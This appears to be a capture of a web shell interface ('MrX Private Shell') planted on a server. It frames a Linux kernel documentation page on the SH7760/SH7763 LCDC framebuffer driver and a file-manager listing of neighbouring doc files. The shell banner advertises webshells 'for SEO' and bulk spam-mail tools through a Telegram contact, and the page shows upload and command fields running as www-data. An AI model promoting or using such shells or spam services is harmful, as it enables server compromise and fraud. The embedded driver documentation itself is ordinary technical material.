__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.21: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>SH7760/SH7763 integrated LCDC Framebuffer driver &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="sisfb - SiS framebuffer device driver" href="sisfb.html" />
    <link rel="prev" title="sa1100fb - SA-1100 LCD graphic framebuffer driver" href="sa1100fb.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="../input/index.html">Input Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../hid/index.html">Human Interface Devices (HID)</a></li>
<li class="toctree-l3"><a class="reference internal" href="../sound/index.html">Sound Subsystem Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../gpu/index.html">GPU Driver Developer’s Guide</a></li>
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Frame Buffer</a></li>
<li class="toctree-l3"><a class="reference internal" href="../leds/index.html">LEDs</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/fb/sh7760fb.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="sh7760-sh7763-integrated-lcdc-framebuffer-driver">
<h1>SH7760/SH7763 integrated LCDC Framebuffer driver<a class="headerlink" href="#sh7760-sh7763-integrated-lcdc-framebuffer-driver" title="Link to this heading">¶</a></h1>
<section id="overview">
<h2>0. Overview<a class="headerlink" href="#overview" title="Link to this heading">¶</a></h2>
<p>The SH7760/SH7763 have an integrated LCD Display controller (LCDC) which
supports (in theory) resolutions ranging from 1x1 to 1024x1024,
with color depths ranging from 1 to 16 bits, on STN, DSTN and TFT Panels.</p>
<p>Caveats:</p>
<ul class="simple">
<li><p>Framebuffer memory must be a large chunk allocated at the top
of Area3 (HW requirement). Because of this requirement you should NOT
make the driver a module since at runtime it may become impossible to
get a large enough contiguous chunk of memory.</p></li>
<li><p>The driver does not support changing resolution while loaded
(displays aren’t hotpluggable anyway)</p></li>
<li><p>Heavy flickering may be observed
a) if you’re using 15/16bit color modes at &gt;= 640x480 px resolutions,
b) during PCMCIA (or any other slow bus) activity.</p></li>
<li><p>Rotation works only 90degress clockwise, and only if horizontal
resolution is &lt;= 320 pixels.</p></li>
</ul>
<dl class="simple">
<dt>Files:</dt><dd><ul class="simple">
<li><p>drivers/video/sh7760fb.c</p></li>
<li><p>include/asm-sh/sh7760fb.h</p></li>
<li><p><a class="reference internal" href="#"><span class="doc">SH7760/SH7763 integrated LCDC Framebuffer driver</span></a></p></li>
</ul>
</dd>
</dl>
</section>
<section id="platform-setup">
<h2>1. Platform setup<a class="headerlink" href="#platform-setup" title="Link to this heading">¶</a></h2>
<dl>
<dt>SH7760:</dt><dd><p>Video data is fetched via the DMABRG DMA engine, so you have to
configure the SH DMAC for DMABRG mode (write 0x94808080 to the
DMARSRA register somewhere at boot).</p>
<p>PFC registers PCCR and PCDR must be set to peripheral mode.
(write zeros to both).</p>
</dd>
</dl>
<p>The driver does NOT do the above for you since board setup is, well, job
of the board setup code.</p>
</section>
<section id="panel-definitions">
<h2>2. Panel definitions<a class="headerlink" href="#panel-definitions" title="Link to this heading">¶</a></h2>
<p>The LCDC must explicitly be told about the type of LCD panel
attached.  Data must be wrapped in a “<code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">sh7760fb_platdata</span></code>” and
passed to the driver as platform_data.</p>
<p>Suggest you take a closer look at the SH7760 Manual, Section 30.
(<a class="reference external" href="http://documentation.renesas.com/eng/products/mpumcu/e602291_sh7760.pdf">http://documentation.renesas.com/eng/products/mpumcu/e602291_sh7760.pdf</a>)</p>
<p>The following code illustrates what needs to be done to
get the framebuffer working on a 640x480 TFT:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>#include &lt;linux/fb.h&gt;
#include &lt;asm/sh7760fb.h&gt;

/*
 * NEC NL6440bc26-01 640x480 TFT
 * dotclock 25175 kHz
 * Xres                640     Yres            480
 * Htotal      800     Vtotal          525
 * HsynStart   656     VsynStart       490
 * HsynLenn    30      VsynLenn        2
 *
 * The linux framebuffer layer does not use the syncstart/synclen
 * values but right/left/upper/lower margin values. The comments
 * for the x_margin explain how to calculate those from given
 * panel sync timings.
 */
static struct fb_videomode nl6448bc26 = {
       .name           = &quot;NL6448BC26&quot;,
       .refresh        = 60,
       .xres           = 640,
       .yres           = 480,
       .pixclock       = 39683,        /* in picoseconds! */
       .hsync_len      = 30,
       .vsync_len      = 2,
       .left_margin    = 114,  /* HTOT - (HSYNSLEN + HSYNSTART) */
       .right_margin   = 16,   /* HSYNSTART - XRES */
       .upper_margin   = 33,   /* VTOT - (VSYNLEN + VSYNSTART) */
       .lower_margin   = 10,   /* VSYNSTART - YRES */
       .sync           = FB_SYNC_HOR_HIGH_ACT | FB_SYNC_VERT_HIGH_ACT,
       .vmode          = FB_VMODE_NONINTERLACED,
       .flag           = 0,
};

static struct sh7760fb_platdata sh7760fb_nl6448 = {
       .def_mode       = &amp;nl6448bc26,
       .ldmtr          = LDMTR_TFT_COLOR_16,   /* 16bit TFT panel */
       .lddfr          = LDDFR_8BPP,           /* we want 8bit output */
       .ldpmmr         = 0x0070,
       .ldpspr         = 0x0500,
       .ldaclnr        = 0,
       .ldickr         = LDICKR_CLKSRC(LCDC_CLKSRC_EXTERNAL) |
                       LDICKR_CLKDIV(1),
       .rotate         = 0,
       .novsync        = 1,
       .blank          = NULL,
};

/* SH7760:
 * 0xFE300800: 256 * 4byte xRGB palette ram
 * 0xFE300C00: 42 bytes ctrl registers
 */
static struct resource sh7760_lcdc_res[] = {
       [0] = {
             .start  = 0xFE300800,
             .end    = 0xFE300CFF,
             .flags  = IORESOURCE_MEM,
       },
       [1] = {
             .start  = 65,
             .end    = 65,
             .flags  = IORESOURCE_IRQ,
       },
};

static struct platform_device sh7760_lcdc_dev = {
       .dev    = {
             .platform_data = &amp;sh7760fb_nl6448,
       },
       .name           = &quot;sh7760-lcdc&quot;,
       .id             = -1,
       .resource       = sh7760_lcdc_res,
       .num_resources  = ARRAY_SIZE(sh7760_lcdc_res),
};
</pre></div>
</div>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/fb/sh7760fb.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
api.html File 23.01 KB 0644
arkfb.html File 11.06 KB 0644
aty128fb.html File 11.54 KB 0644
cirrusfb.html File 11.75 KB 0644
cmap_xfbdev.html File 10.27 KB 0644
deferred_io.html File 11.92 KB 0644
efifb.html File 10.86 KB 0644
ep93xx-fb.html File 14.3 KB 0644
fbcon.html File 24.11 KB 0644
framebuffer.html File 26.03 KB 0644
gxfb.html File 10.27 KB 0644
index.html File 12.15 KB 0644
intel810.html File 19.89 KB 0644
internals.html File 12.56 KB 0644
lxfb.html File 10.28 KB 0644
matroxfb.html File 34.66 KB 0644
metronomefb.html File 10.01 KB 0644
modedb.html File 17.81 KB 0644
pvr2fb.html File 11.46 KB 0644
pxafb.html File 14.45 KB 0644
s3fb.html File 11.75 KB 0644
sa1100fb.html File 10.28 KB 0644
sh7760fb.html File 13.23 KB 0644
sisfb.html File 16.42 KB 0644
sm501.html File 8.39 KB 0644
sm712fb.html File 9.67 KB 0644
sstfb.html File 17.81 KB 0644
tgafb.html File 11.03 KB 0644
tridentfb.html File 11.78 KB 0644
udlfb.html File 16.75 KB 0644
uvesafb.html File 17.17 KB 0644
vesafb.html File 17.54 KB 0644
viafb.html File 52.91 KB 0644
vt8623fb.html File 10.81 KB 0644
Filemanager